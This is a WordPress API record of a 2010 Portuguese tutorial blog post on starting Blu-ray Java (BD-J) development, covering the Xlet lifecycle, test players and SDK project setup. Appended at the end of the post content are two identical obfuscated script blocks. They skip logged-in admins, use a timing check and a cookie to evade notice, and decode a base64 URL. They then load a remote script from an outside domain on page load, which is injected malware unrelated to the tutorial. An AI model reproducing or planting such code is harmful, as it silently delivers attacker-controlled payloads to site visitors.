{"id":208,"date":"2010-07-13T10:47:51","date_gmt":"2010-07-13T13:47:51","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=208"},"modified":"2025-10-26T22:44:51","modified_gmt":"2025-10-27T01:44:51","slug":"passos-iniciais-em-java-para-blu-ray","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/07\/13\/passos-iniciais-em-java-para-blu-ray\/","title":{"rendered":"Passos iniciais em Java para Blu-ray"},"content":{"rendered":"<p style=\"text-align: justify;\">Criar uma aplica\u00e7\u00e3o para Blu-ray Java (BD-J) \u00e9 uma tarefa simples, basta  implementar uma interface javax.tv.xlet.Xlet que esta presente na API  Java TV que faz parte da especifica\u00e7\u00e3o do BD-Java<\/p>\n<p style=\"text-align: justify;\">O ciclo de vida dos BD-J Xlets \u00e9 semelhante \u00e0 qualquer aplica\u00e7\u00e3o  embarcada. Ap\u00f3s a chamada do construtor, o Xlet entra no estado de  carregado. O m\u00e9todo initXlet() \u00e9 chamado, e o Xlet passa para estado  pausado at\u00e9 o momento que o m\u00e9todo startXlet() seja chamado.<\/p>\n<div style=\"text-align: center;\"><a href=\"http:\/\/2.bp.blogspot.com\/_mNTtTRW0x8w\/TDxpI00YUaI\/AAAAAAAAAwA\/dOBNVn9Eylg\/s1600\/pb_30_09_09_pic02.JPG\"><img decoding=\"async\" src=\"http:\/\/2.bp.blogspot.com\/_mNTtTRW0x8w\/TDxpI00YUaI\/AAAAAAAAAwA\/dOBNVn9Eylg\/s320\/pb_30_09_09_pic02.JPG\" border=\"0\" alt=\"\" \/><\/a><\/div>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Para testes da aplica\u00e7\u00e3o \u00e9 necess\u00e1rio um player que suporte a execu\u00e7\u00e3o  de arquivos de blu-ray. Pode-se ser utilizado um desses players: Corel  com o WinDVD, CyberLink com PowerDVD e ArcSoft com o ToTalMedia Theatre.<\/p>\n<p style=\"text-align: justify;\">No desenvolvimento voc\u00ea pode utilizar o Netbeans com o plugin de mobile  instalado ou Java Platform Micro Edition Software Development Kit 3.0  (recomendado) que pode ser encontrado em: <a title=\"JMESDK\" href=\"http:\/\/java.sun.com\/javame\/downloads\/sdk30.jsp\" target=\"_blank\" rel=\"noopener\">http:\/\/java.sun.com\/javame\/downloads\/sdk30.jsp<\/a><\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s instalado o JMESDK 3.0 \u00e9 necess\u00e1rio configurar o player do BD-Java.  Basta ir em Tools, Options, Miscellaneous e acessar a aba BD-J que \u00e9  onde voc\u00ea ir\u00e1 configurar o caminho do player instalado.<\/p>\n<p style=\"text-align: justify;\">Para criar um novo projeto voc\u00ea deve selecionar File, New Project, CDC  Application, dar um nome pro projeto, selecionar Next, e em Java  Platform, selecionar Stubs for BD-J Platform, Finish.<\/p>\n<p style=\"text-align: justify;\">Pronto! Agora \u00e9 s\u00f3 brincar com a API do Havi para criar a parte gr\u00e1fica.  Voc\u00ea tamb\u00e9m pode utilizar as classes do Personal Basis Profile do CDC e  do Globally Executable MHP. No pr\u00f3ximo post irei abordar a exibi\u00e7\u00e3o de  imagens e componentes gr\u00e1ficos.<\/p>\n<p style=\"text-align: justify;\">At\u00e9 a pr\u00f3xima.<\/p>\n<p style=\"text-align: justify;\">Agradecimentos ao <strong>Carlos Fernando Gon\u00e7alves<\/strong> (<a title=\"Twitter\" href=\"http:\/\/twitter.com\/mercuriocfg\" target=\"_blank\" rel=\"noopener\">http:\/\/twitter.com\/mercuriocfg<\/a>) JUG Leader do Java Noroeste (<a title=\"Java Noroeste\" href=\"http:\/\/javanoroeste.com.br\/\" target=\"_blank\" rel=\"noopener\">http:\/\/javanoroeste.com.br<\/a>) pelo levantamento das informa\u00e7\u00f5es dos players de Blu-ray. <a title=\"Posts\" href=\"http:\/\/blog.globalcode.com.br\/search\/label\/Carlos%20Fernandes%20Gon%C3%A7alves\" target=\"_blank\" rel=\"noopener\">Posts do Carlos Fernando Gon\u00e7alves.<\/a><\/p>\n<p style=\"text-align: justify;\">Esse post tamb\u00e9m se encontra em: <a title=\"Post\" href=\"http:\/\/blog.globalcode.com.br\/2010\/07\/passos-iniciais-em-java-para-blu-ray.html\" target=\"_blank\" rel=\"noopener\">http:\/\/blog.globalcode.com.br\/2010\/07\/passos-iniciais-em-java-para-blu-ray.html<\/a><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Criar uma aplica\u00e7\u00e3o para Blu-ray Java (BD-J) \u00e9 uma tarefa simples, basta implementar uma interface javax.tv.xlet.Xlet que esta presente na API Java TV que faz parte da especifica\u00e7\u00e3o do BD-Java O ciclo de vida dos BD-J Xlets \u00e9 semelhante \u00e0 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/07\/13\/passos-iniciais-em-java-para-blu-ray\/\">Continue lendo  <span class=\"screen-reader-text\">  Passos iniciais em Java para Blu-ray<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[34,3,5],"tags":[],"class_list":["post-208","post","type-post","status-publish","format-standard","hentry","category-blu-ray","category-java","category-jme"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=208"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/208\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}